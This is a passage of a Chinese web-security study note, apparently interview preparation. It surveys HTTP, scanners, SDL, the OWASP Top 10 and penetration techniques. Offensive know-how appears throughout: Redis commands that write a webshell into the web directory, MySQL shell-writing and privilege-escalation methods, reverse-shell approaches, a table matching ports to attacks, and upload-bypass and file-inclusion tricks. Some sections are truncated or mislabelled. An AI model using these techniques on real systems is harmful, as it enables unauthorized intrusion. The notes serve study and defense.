第二步, burp伪造自己的CA证书, 冒充服务器证书传递给客户端浏览器,客户端浏览器做跟burp一样的事。
第三步, 客户端浏览器生成https通信用的对称密钥,用burp伪造的证书公钥加密后传递给服务器, 被burp截获。

扫描器相关

Masscan 扫描

masscan采用了异步传输方式,无状态的扫描方式

无状态:masscan无状态的扫描则是masscan与目标主机不建立完整的TCP连接,扫描者主机先向目标主机发送一个SYN请求连接数据包,目标主机会向扫描者主机回复一个SYN/ACK确认连接数据包,当扫描者主机收到目标主机发送回来的SYN/ACK确认连接数据包之后,扫描者主机向目标主机发送RST结束连接(选项–banners除外(因为要获取banner信息,必须要进行完整的三次握手)),即masscan不建立完整的TCP连接,收到SYN/ACK之后,发送RST结束连接(选项–banners除外)。

异步传输:masscan采用异步的方式批量的把数据包发出去,然后记录有回应的IP。因此,效率上得以大幅提高。

扫描器设计

一 爬虫模块:
负责爬取目标站点可见的url,进行相应的入库处理,然后分级处理,比如说可以递交到敏感信息模块去匹配信息,又或者递交给漏洞检测模块进行检测。爬虫模块作为漏扫的主要眼睛,必须非常壮硕,所以在未来的实现爬虫模块篇中,将会是个问题。

二 域名探测模块:
进行子域名的查询,包括二级,三级,多级。这里实现的方式主要有爆破,dns,搜索引擎。

三 端口扫描模块:
通过各种方法获取真实ip 爆破服务器端口,将结果递交给指纹识别模块进行识别与爆破模块进行相应服务的爆破。

四 指纹识别模块:
内置大量指纹信息,居然可拓展的性质,进行相应的指纹识别,并将识别结果提交漏洞检测模块进行相应的nday查询。

五 敏感信息模块:
具有大量敏感信息目录,进行爆破操作,或者从爬虫获取相应数据进行匹配。

六 爆破模块:
内置各类服务爆破操作。

七 漏洞检测模块:
分为常规漏洞检测,与0day/nday检测,如何做到高效率的检测,又是一个问题了。

八 生成报告模块:
将结果输出成扫描报告。

九 “主控模块”:
进行各模块安全可控的调度,以高效率的运转。

线程、进程、协程

参考文章:https://www.cnblogs.com/Survivalist/p/11527949.html

进程是系统资源分配的最小单位
线程是执行程序的最小单位
协程,又称微线程,纤程,英文名Coroutine。协程的作用,是在执行函数A时,可以随时中断,去执行函数B,然后中断继续执行函数A(可以自由切换)。但这一过程并不是函数调用(没有调用语句),这一整个过程看似像多线程,然而协程只有一个线程执行.

协程极高的执行效率:因为子程序切换不是线程切换,而是由程序自身控制,因此,没有线程切换的开销,和多线程比,线程数量越多,协程的性能优势就越明显。
不需要多线程的锁机制:因为只有一个线程,也不存在同时写变量冲突,在协程中控制共享资源不加锁,只需要判断状态就好了,所以执行效率比多线程高很多。

一个进程由一个或多个线程组成,线程是一个进程中代码的不同执行路线;
一个进程可以拥有多个线程,一个线程也可以拥有多个协程

restful架构

表现层状态转化

  • 每一个URL都代表一种资源,看URL就知道要什么资源
  • 看http 方法(GET、POST、DELETE、PUT)就知道要干什么
  • 看http的状态码(status code)就知道结果

HATEOAS
HATEOAS:超媒体作为应用状态的引擎
RESTful API最好做到HATEOAS,即返回结果中提供链接,连向其他API方法,使得用户不查文档,也知道下一步应该做什么。

爬虫与反爬虫

启发式爬虫:基于历史经验和已知场景,构造并实现规则的爬虫
启发式爬虫最佳实践:任务调度及事件管理流程

反爬虫的几种手段:
1、通过UA识别爬虫
2、设置IP访问频率,如果超过一定频率,弹出验证码
3、通过并发识别爬虫
4、限制单个ip/api token的访问量

项目相关

静态二维码问题

静态条码容易被“调包”、利用收款码伪造交通罚单等、嵌入木马,扫码被盗刷或窃取信息

https://www.bbaqw.com/wz/93625.htm

二维码本身是一串文本,不会含有病毒,木马和恶意扣费软件。目前主要的安全问题是二维码到一个手机应用的下载链接,这个手机应用包含病毒,木马、广告和恶意扣费内容。推荐从权威的网站和可靠的印刷品上扫描。对扫描的内容的可信度请保持谨慎态度。 如果扫描内容显示正在下载应用,请谨慎安装。 做到以上两点,就放心大胆地扫描吧。

http协议

http1.0与http1.1的区别

参考文章1
阮一峰的网络日志

1.长连接:HTTP 1.1支持长连接(PersistentConnection)和请求的流水线(Pipelining)处理,在一个TCP连接上可以传送多个HTTP请求和响应,减少了建立和关闭连接的消耗和延迟,在HTTP1.1中默认开启Connection: keep-alive,一定程度上弥补了HTTP1.0每次请求都要创建连接的缺点。这是最大的变化,就是引入了持久连接(persistent connection),即TCP连接默认不关闭,可以被多个请求复用,不用声明Connection: keep-alive。
2.缓存处理:在HTTP1.0中主要使用header里的If-Modified-Since,Expires来做为缓存判断的标准,HTTP1.1则引入了更多的缓存控制策略例如Entity tag,If-Unmodified-Since, If-Match, If-None-Match等更多可供选择的缓存头来控制缓存策略。
3.带宽优化及网络连接的使用:HTTP1.0中,存在一些浪费带宽的现象,例如客户端只是需要某个对象的一部分,而服务器却将整个对象送过来了,并且不支持断点续传功能,HTTP1.1则在请求头引入了range头域,它允许只请求资源的某个部分,即返回码是206(Partial Content),这样就方便了开发者自由的选择以便于充分利用带宽和连接。
4.错误通知的管理:在HTTP1.1中新增了24个错误状态响应码,如409(Conflict)表示请求的资源与资源的当前状态发生冲突;410(Gone)表示服务器上的某个资源被永久性的删除。
5.Host头处理*:在HTTP1.0中认为每台服务器都绑定一个唯一的IP地址,因此,请求消息中的URL并没有传递主机名(hostname)。但随着虚拟主机技术的发展,在一台物理服务器上可以存在多个虚拟主机(Multi-homed Web Servers),并且它们共享一个IP地址。HTTP1.1的请求消息和响应消息都应支持Host头域,且请求消息中如果没有Host头域会报告一个错误(400 Bad Request)。

http 1.1 新增options、put、delete、trace、connect五种HTTP请求方法,加上get、post、head原1.0中的三种请求共八种协议。

http中常见的请求

OPTIONS:这个方法可使服务器传回该资源所支持的所有HTTP请求方法。用’‘来代替资源名称,向Web服务器发送OPTIONS请求,可以测试服务器功能是否正常运作
*
HEAD:与GET方法一样,都是向服务器发出指定资源的请求。只不过服务器将不传回资源的本文部分。它的好处在于,使用这个方法可以在不必传输全部内容的情况下,就可以获取其中“关于该资源的信息”(元信息或称元数据)
**PUT
:向指定资源位置上传其最新内容
DELETE:请求服务器删除Request-URI所标识的资源
TRACE:回显服务器收到的请求,主要用于测试或诊断
CONNECT:HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。通常用于SSL加密服务器的链接(经由非加密的HTTP代理服务器)

常见的http响应码

2开头 成功
· 200 OK,表示从客户端发来的请求在服务器端被正确处理
· 204 No content,表示请求成功,但响应报文不含实体的主体部分
· 206 Partial Content,进行范围请求

3开头 重定向:表示要完成请求,需要进一步操作。 通常,这些状态代码用来重定向
· 301 moved permanently,永久性重定向,表示资源已被分配了新的 URL
· 302 found,临时性重定向,表示资源临时被分配了新的 URL
· 303 see other,表示资源存在着另一个 URL,应使用 GET 方法丁香获取资源
· 304 not modified,表示服务器允许访问资源,但因发生请求未满足条件的情况
· 307 temporary redirect,临时重定向,和302含义相同

4开头 客户端错误:请求错误,这些状态代码表示请求可能出错,妨碍了服务器的处理。
· 400 bad request,请求报文存在语法错误
· 401 unauthorized,表示发送的请求需要有通过 HTTP 认证的认证信息
· 403 forbidden,表示对请求资源的访问被服务器拒绝
· 404 not found,表示在服务器上没有找到请求的资源

5开头 服务器错误:这些状态代码表示服务器在尝试处理请求时发生内部错误。 这些错误可能是服务器本身的错误,而不是请求出错。
· 500 internal sever error,表示服务器端在执行请求时发生了错误
· 503 service unavailable,表明服务器暂时处于超负载或正在停机维护,无法处理请求

从URL输入到页面展现的整体过程

  • DNS 解析:将域名解析成 IP 地址
  • TCP 连接:TCP 三次握手
  • 发送 HTTP 请求
  • 服务器处理请求并返回 HTTP 报文
  • 浏览器解析渲染页面
  • 断开连接:TCP 四次挥手

sdl与DevSecOps

sdl安全开发生命周期

SDL:安全开发生命周期

SDL的核心理念就是将安全考虑集成在软件开发的每一个阶段:需求分析、设计、编码、测试和维护。从需求、设计到发布产品的每一个阶段每都增加了相应的安全活动,以减少软件中漏洞的数量并将安全缺陷降低到最小程度。

流程:
1.培训
2.安全要求
3.设计阶段
4.实施阶段
5.验证阶段
6.发布阶段
7.响应

我的博客:sdl安全开发生命周期

devsecops

相对于SDL,DevSecOps不再是一个单纯的安全开发模型,也不仅仅是关注开发阶段,它所强调的是人人为安全负责,人人参与安全,安全嵌入到开发到运维的每个阶段。

从SDL到DevSecOps:始终贯穿开发生命周期的安全

ISO27000和等保(重点等保)

ISO27000

ISO27000是国际知名的信息安全管理体系标准,适用于整个企业,不仅仅是IT部门,还包括业务部门、财务、人事等部门。引入信息安全管理体系就可以协调各个方面信息管理,从而使管理更为有效。保证信息安全不是仅有一个防火墙,或找一个24小时提供信息安全服务的公司就可以达到的。它需要全面的综合管理。

PDCA(plan do check action)管理循环

等级保护制度

《信息安全等级保护管理办法》是为规范信息安全等级保护管理,提高信息安全保障能力和水平,维护国家安全、社会稳定和公共利益,保障和促进信息化建设,根据《中华人民共和国计算机信息系统安全保护条例》等有关法律法规而制定的办法。

MYSQL

mysql写shell的方法

1.select “” into outfile “”
2.开启log写shell 复习文章

mysql提权

  • MOF提权,在windows平台下(linux下不可用),
  • UDF提权

MySQL提权复习文章

linux下反弹shell的方法

参考文章1参考文章2

1.使用linux命令反弹shell bash

2.使用python、java、perl、Ruby反弹shell,可以配和msf利用。

3.使用nc、Telnet反弹shell

redis的利用方式,getshell的方法

参考文章1
参考文章2

利用方式:

  1. 通过向Web目录中写webshell的方式进行getshell
  • 当自己的redis权限不高时,可以向web里写入webshell,但需要对方有web服务且有写入权限。假设靶机里面存在WEB服务并且目录在 /var/www/
  • redis 192.168.242.134:6379>config set dir /var/www/a
    redis 192.168.242.134:6379>config set dbfilename shell.php
    redis 192.168.242.134:6379>set x “
    redis 192.168.242.134:6379>save
  1. 通过写SSH key的方式进行getshell

  2. 通过写corntab的方式进行getshell

具体的写法: https://blog.csdn.net/fly_hps/article/details/80937837

PHP

php的字符串中单引号与双引号的区别

“ “双引号里面的字段会经过编译器解释,然后再当作HTML代码输出。
‘ ‘单引号里面的不进行解释,直接输出。
双引号中的变量($var)和特殊字符(\r\n之类)会被转义,单引号中的内容不会被转义(所以效率更高)
单引号解析的时间比双引号快 。

同源策略

同源策略是浏览器的一个安全功能,不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源,同源是指,域名,协议,端口相同。

常见端口

复习文章:https://zhuanlan.zhihu.com/p/24926870

web类

  • 80 web
  • 80-89 web
  • 8000-9090 web

数据库类

(扫描弱口令)

  • 1433 MSSQL SQLServer
  • 1521 Oracle
  • 3306 Mysql
  • 5432 PostgreSQL

常用端口类

(扫描弱口令/端口爆破)

  • 21 ftp
  • 22 SSH
  • 23 Telnet
  • 2601,2604 zebra路由,默认密码zebra
  • 3389 远程桌面

特殊服务类

(未授权/命令执行类/漏洞)

  • 443 SSL心脏滴血
  • 873 Rsync未授权
  • 5984 CouchDB http://xxx:5984/_utils/
  • 6379 redis未授权
  • 7001,7002 WebLogic默认弱口令,反序列
  • 9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
  • 11211 memcache未授权访问
  • 27017,27018 Mongodb未授权访问
  • 50000 SAP命令执行
端口号 端口说明 攻击技巧
21/69 ftp/tftp:文件传输协议 爆破/嗅探/溢出/后门
22 ssh:远程连接 爆破OpenSSH;28个退格
23 talnet:远程连接 爆破\嗅探
25 smtp:邮件服务 邮件伪造
53 DNS:域名系统 DNS区域传输\DNS劫持\DNS缓存投毒\DNS欺骗\利用DNS隧道技术刺透防火墙
67/68 DHCP 劫持\欺骗 UDP67和UDP68 67接收 68发送
110 pop3 爆破
137/139/445 samba 可尝试爆破以及smb自身的各种远程执行类漏洞利用,如,ms08-067,ms17-010,嗅探等……
143 imap 爆破
161 snmp 爆破
389 ldap 注入攻击\未授权访问
443 SSL心脏滴血 web漏洞测试
512/513/514 linux r 直接使用rlogin
873 rsync 未授权访问
1080 socket 爆破:进行内网渗透
1352 lotus 爆破:弱口令\信息泄漏:源代码
1433 mssql 爆破:使用系统用户登录\注入攻击
1521 oracle 爆破:TNS\注入攻击
2049 nfs 配置不当
2181 zookeeper 未授权访问
3306 mysql 爆破\拒绝服务\注入
3389 rdp 爆破\Shift后门
4848 glassfish 爆破:控制台弱口令\认证绕过
5000 sybase/DB2 爆破\注入
5432 postgresql 缓冲区溢出\注入攻击\爆破:弱口令
5632 pcanywhere 拒绝服务\代码执行
5900 VNC 爆破:弱口令\认证绕过
6379 redis 未授权访问\爆破:弱口令
7001 weblogic Java反序列化\控制台弱口令\控制台部署webshell
80/443/8080 web 常见web攻击\控制台爆破\对应服务器版本漏洞
8069 zabbix 远程命令执行
9090 websphere控制台 爆破:控制台弱口令\Java反序列
9200/9300 elasticsearch 远程代码执行
11211 memcacache 未授权访问
27017 mongodb 爆破\未授权访问

解析漏洞

iis 5.x/6.0解析漏洞

1.目录解析

/xx.asp/xx.jpg

如:test.asp/test.jpg

即:新建一个名为”test.asp”的目录,该目录中的任何文件都被IIS当做asp程序执行(特殊符号是”/“

2.文件解析

sp.asp;.jpg

即分号后的不被解析,仍被IIS当做asp程序执行。

apache 解析漏洞

文件后缀,Apache 从右到左开始判断解析,如果为不可识别解析,就再往左判断.

文件上传

文件上传校验姿势

  • 客户端javascript校验(一般只校验后缀名)
  • 服务端校验
    • 文件头content-type字段校验(image/gif)
    • 文件内容头校验(GIF89a)
    • 后缀名黑名单校验
    • 后缀名白名单校验
    • 自定义正则校验
  • WAF设备校验(根据不同的WAF产品而定)

文件上传的绕过

1.绕过上传检查

  • 前端检查扩展名

2.抓包绕过即可

  • Content-Type 检测文件类型

3.抓包修改 Content-Type 类型,使其符合白名单规则。

  • 服务端添加后缀

4.尝试 %00 截断

  • 服务端扩展名检测

5.利用解析漏洞。

  • Apache 解析 IIS 解析

其他方式后缀大小写、双写、特殊后缀如 php5 等,修改包内容的大小写过 WAF 等。

文件读取除了可以读取敏感文件还有什么利用方式

文件包含的利用方式 https://anquan.baidu.com/article/235

1、通过写入webserver的errorlog或者accesslog来实现一句话。适用于存在本地文件包含,但是无法上传文件的场景。

伪协议 php://input phar php://filter https://thief.one/2017/04/10/2/
利用php协议进行包含
截断包含
远程包含shell
本地包含配合文件上传
本地包含配合apache日志拿shell
利用/proc/self/environ进行包含

OWASP Top 10

注入

将不受信任的数据作为命令或查询的一部分发送到解析器时,会产生诸如SQL注入、NoSQL注入、OS注入和LDAP注入的注入缺陷。
攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执行非预期命令或访问数据。

失效的身份认证和会话管理

简介
通常,通过错误使用应用程序的身份认证和会话管理功能,攻击者能够破译密码、密钥或会话令牌,或者利用其它开发缺陷来暂时性或永久性冒充其他用户的身份。
原理
开发者通常会建立自定义的认证和会话管理方案。但与身份认证和回话管理相关的应用程序功能往往得不到正确的实现,要正确实现这些方案却很难,结果在退出、密码管理、超时、密码找回、帐户更新等方面存在漏洞,这就导致了攻击者攻击者破坏密码、密钥、会话令牌或攻击其他的漏洞去冒充其他用户的身份

  • 身份认证:身份认证最常用于系统登录,形式一般为用户名和密码登录方式,在安全性要求较高的情况下,还有验证码、客户端证书、Ukey等
  • 会话管理:HTTP利用会话机制来实现身份认证,HTTP身份认证的结果往往是获得一个令牌并放在cookie中,之后的身份识别只需读授权令牌,而无需再次进行登录认证

危害
可能导致部分甚至全部账户遭受攻击,攻击者一旦成功,攻击者能执行受害用户的任何操作。因此管理员账户、特权账户是常见的攻击目标

检测失效的身份认证和会话管理

  • 用户身份验证凭证没有使用哈希或加密保护
  • 认证凭证可猜测,或者能够通过薄弱的的帐户管理功能(例如账户创建、密码修改、密码恢复, 弱会话ID)重写
  • 会话ID暴露在URL里 (例如URL重写)
  • 会话ID容易受到会话固定(session fixation)的攻击
  • 会话ID没有超时限制,或者用户会话或身份验证令牌特别是单点登录令牌在用户注销时没有失效
  • 成功注册后,会话ID没有轮转
  • 密码、会话ID和其他认证凭据使用未加密连接传输

防范

  • 分区公共区域和受限区域:站点的公共区域允许任何人用户进行匿名访问,受限区域只能接受特定用户的访问
  • 对cookie内容进行加密
  • 可以设置锁定账户策略
  • 设置密码和会话的有效期,并使用强密码(密码必须是数字和字母的组合)
  • 账号密码以密文形式传输

复习文章

敏感数据泄露

简介
许多Web应用程序和API都无法正确保护敏感数据,例如:财务数据、医疗数据和PII数据。攻击者可以通过窃取或修改未加密的数据来实施信用卡诈骗、身份盗窃或其他犯罪行为。
未加密的敏感数据容易受到破坏,因此,我们需要对敏感数据加密,这些数据包括:传输过程中的数据、存储的数据以及浏览器的交互数据。
原理
许多Web应用程序和API都无法正确保护敏感数据,例如:财务数据、医疗数据和PII数据。攻击者可以通过窃取或修改未加密的数据来实施信用卡诈骗、身份盗窃或其他犯罪行为。未加密的敏感数据容易受到破坏,因此,我们需要对敏感数据加密,这些数据包括:传输过程中的数据、存储的数据以及浏览器的交互数据。
防御
1.加密存储和传输所有的敏感数据
2.确保使用合适强大的标准算法和密钥,并且密钥管理到位
3.确保使用密码专用算法存储密码
4.及时清除没有必要存放的重要的/敏感数据
5.禁用自动收集敏感数据,禁用包含敏感数据的页面缓存

XXE外部实体注入

许多较早的或配置错误的XML处理器评估了XML文件中的外部实体引用。攻击者可以利用外部实体窃取使用URI文件处理器的内部文件和共享文件、监听内部扫描端口、执行远程代码和实施拒绝服务攻击.
具体见XXE漏洞的学习

失效的访问控制

简介
未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据,例如:访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。
原理
大多数web应用程序在实现UI中可见的功能之前,都要验证功能级别的访问权限。但是,当访问每个函数时,应用程序需要在服务器上执行相同的访问控制检查。如果请求没有得到验证,攻击者将能够伪造请求,以便在没有适当授权的情况下访问功能。
防御
1.检查管理权限的过程并确保能够容易进行升级和审计,切忌硬编码。

2.默认缺省情况下,应该拒绝所有访问的执行权限。

3.对于每个功能的访问,需要明确的角色授权。检查每个功能分配的权限合理有效。

安全配置错误

简介
安全配置错误是最常见的安全问题,这通常是由于不安全的默认配置、不完整的临时配置、开源云存储、错误的 HTTP 标头配置以及包含敏感信息的详细错误信息所造成的。
因此,我们不仅需要对所有的操作系统、框架、库和应用程序进行安全配置,而且必须及时修补和升级它们。
原理
良好的安全性需要为应用程序、框架、应用服务器、web服务器、数据库服务器和平台定义和部署安全配置。默认值通常是不安全的。另外,软件应该保持更新。攻击者通过访问默认账户、未使用的网页、未安装补丁的漏洞、未被保护的文件和目录等,以获得对系统未授权的访问。
防御
1.及时了解并部署每个环境的软件更新和补丁信息,包括所有的代码库。(自动化安装部署)
2.统一出错处理机制,错误处理会向用户显示堆栈跟踪或其他过于丰富的错误消息信息。
3.使用提供有效分离和安全性强大的应用程序架构。

XSS跨站脚本攻击

简介:
当应用程序的新网页中包含不受信任的、未经恰当验证或转义的数据时,或者使用可以创建 HTML或JavaScript 的浏览器 API 更新现有的网页时,就会出现 XSS 缺陷。
XSS 让攻击者能够在受害者的浏览器中执行脚本,并劫持用户会话、破坏网站或将用户重定向到恶意站点。

具体见常见漏洞之XSS跨站脚本攻击

原理
指一个已经授权的用户,通过更改访问时的一个参数,从而访问到了原本其并没有得到授权的对象。

出现的原因
1.Web应用往往在生成Web页面时会用它的真实名字,且并不会对所有的目标对象访问时来检查用户权限,所以这就造成了不安全的对象直接引用的漏洞。

2.服务器上的具体文件名、路径或数据库关键字等内部资源被暴露在URL或网页中,攻击者可以尝试直接访问其他资源。

防御措施
1.避免在URL或网页中直接引用内部文件名或数据库关键字。

2.可使用自定义的映射名称来取代直接对象名,例如, http://example.test/online/news.asp?item=0245等

3.锁定网站服务器上的所有目录和文件夹,设置访问权限。

4.验证用户输入和URL请求,拒绝包含./或../的请求。

不安全的反序列化

简介:
不安全的反序列化会导致远程代码执行。即使反序列化缺陷不会导致远程代码执行,攻击者也可以
利用它们来执行攻击,包括:重播攻击、注入攻击和特权升级攻击。

使用含有已知漏洞的组件

简介
组件(例如:库、框架和其他软件模块)拥有和应用程序相同的权限。如果应用程序中含有已知漏洞的组件被攻击者利用,可能会造成严重的数据丢失或服务器接管。
同时,使用含有已知漏洞的组件的应用程序和API可能会破坏应用程序防御、造成各种攻击并产生严重影响。
原理
开发人员使用的组件也会含有漏洞,这些漏洞能够被自动化工具发现和利用。然后攻击者根据需要定制攻击代码并实施攻击。
防御
1.标识正在使用的所有组件和版本,包括所有依赖项
2.及时关注这些组件的安全信息并保证他们是最新的。
3.建立使用组件的安全策略,禁止使用未经安全评估的组件。
4.在适当情况下,对组件进行安全封装,精简不必要的功能,封装易受攻击部分

不足的日志记录和监控

不足的日志记录和监控,以及事件响应缺失或无效的集成,使攻击者能够进一步攻击系统、保持持
续性或转向更多系统,以及篡改、提取或销毁数据。大多数缺陷研究显示,缺陷被检测出的时间超
过200天,且通常通过外部检测方检测,而不是通过内部流程或监控检测。

原文作者: Ywc

原文链接: https://yinwc.github.io/2018/10/01/WebSecuritylearning/

发表日期: October 1st 2018, 8:01:53 pm

版权声明:

CATALOG
  1. 1. 常见漏洞
    1. 1.1. PHP相关
    2. 1.2. JAVA相关
      1. 1.2.1. spring security
      2. 1.2.2. fastjson
      3. 1.2.3. shiro
        1. 1.2.3.1. Shiro rememberMe反序列化漏洞(Shiro-550)
        2. 1.2.3.2. Shiro Padding Oracle Attack(Shiro-721)
      4. 1.2.4. weblogic
    3. 1.3. sql注入
      1. 1.3.1. sql注入的原理和防御
      2. 1.3.2. sql注入有哪几类
      3. 1.3.3. 如何判断sql注入
      4. 1.3.4. sql注入的利用方式
      5. 1.3.5. 时间盲注除了sleep还有哪些利用函数
      6. 1.3.6. 没有错误回显的原因
      7. 1.3.7. 宽字节注入
      8. 1.3.8. sql注入绕过技巧
      9. 1.3.9. 报错注入指令
      10. 1.3.10. sqlmap的使用
    4. 1.4. xss跨站脚本攻击
      1. 1.4.1. 原理
      2. 1.4.2. 种类
      3. 1.4.3. xss利用方式
      4. 1.4.4. 检测方法
      5. 1.4.5. 防御
      6. 1.4.6. dom xss 和反射型xss的区别
      7. 1.4.7. xss遇到后台登录限制或者HTTPONLY时
      8. 1.4.8. csrf和xss的区别
    5. 1.5. CSRF跨站请求伪造
      1. 1.5.1. 原理
      2. 1.5.2. 危害
      3. 1.5.3. 检测
      4. 1.5.4. 防御
    6. 1.6. SSRF服务端请求伪造
      1. 1.6.1. 原理
      2. 1.6.2. 危害
      3. 1.6.3. 检测方法
      4. 1.6.4. 绕过方法
        1. 1.6.4.1. dns rebinding dns重绑定攻击
      5. 1.6.5. 修复方式
      6. 1.6.6. XSS、CSRF、SSRF三种漏洞的区别和共同点
    7. 1.7. XXE防御、绕过
      1. 1.7.1. 原理
      2. 1.7.2. 危害
      3. 1.7.3. 防御
    8. 1.8. JSONP漏洞
      1. 1.8.1. json和jsonp的区别
    9. 1.9. CORS跨域资源共享
    10. 1.10. DNS域传送漏洞
      1. 1.10.1. 原理
      2. 1.10.2. 危害
    11. 1.11. DDOS分布式拒绝服务攻击
      1. 1.11.0.1. udp反射放大攻击
  2. 1.12. k8s漏洞
  • 2. 渗透测试
    1. 2.1. 安全测试之我见
    2. 2.2. 一次渗透经历
    3. 2.3. App安全测试
    4. 2.4. 渗透测试流程
    5. 2.5. 渗透测试之信息收集
    6. 2.6. 入侵后痕迹清理
    7. 2.7. 绕过绕过cdn获取网站的真实IP
    8. 2.8. waf绕过
  • 3. 漏洞相关
    1. 3.1. cve2020-9547
  • 4. 应急响应
    1. 4.1. 排查webshell或木马
  • 5. 密码学相关
  • 6. 工具原理
    1. 6.1. SqlMap工作原理
    2. 6.2. burp抓包原理(抓https)
  • 7. 扫描器相关
    1. 7.1. Masscan 扫描
    2. 7.2. 扫描器设计
    3. 7.3. 线程、进程、协程
    4. 7.4. restful架构
    5. 7.5. 爬虫与反爬虫
  • 8. 项目相关
  • 9. http协议
    1. 9.1. http1.0与http1.1的区别
    2. 9.2. http中常见的请求
    3. 9.3. 常见的http响应码
    4. 9.4. 从URL输入到页面展现的整体过程
  • 10. sdl与DevSecOps
    1. 10.1. sdl安全开发生命周期
    2. 10.2. devsecops
  • 11. ISO27000和等保(重点等保)
    1. 11.1. ISO27000
    2. 11.2. 等级保护制度
  • 12. MYSQL
    1. 12.1. mysql写shell的方法
    2. 12.2. mysql提权
  • 13. linux下反弹shell的方法
  • 14. redis的利用方式,getshell的方法
  • 15. PHP
    1. 15.1. php的字符串中单引号与双引号的区别
  • 16. 同源策略
  • 17. 常见端口
    1. 17.0.1. web类
    2. 17.0.2. 数据库类
    3. 17.0.3. 常用端口类
    4. 17.0.4. 特殊服务类
  • 18. 解析漏洞
    1. 18.1. iis 5.x/6.0解析漏洞
    2. 18.2. apache 解析漏洞
  • 19. 文件上传
    1. 19.1. 文件上传校验姿势
    2. 19.2. 文件上传的绕过
  • 20. 文件读取除了可以读取敏感文件还有什么利用方式
  • 21. OWASP Top 10
    1. 21.1. 注入
    2. 21.2. 失效的身份认证和会话管理
    3. 21.3. 敏感数据泄露
    4. 21.4. XXE外部实体注入
    5. 21.5. 失效的访问控制
    6. 21.6. 安全配置错误
    7. 21.7. XSS跨站脚本攻击
    8. 21.8. 不安全的反序列化
    9. 21.9. 使用含有已知漏洞的组件
    10. 21.10. 不足的日志记录和监控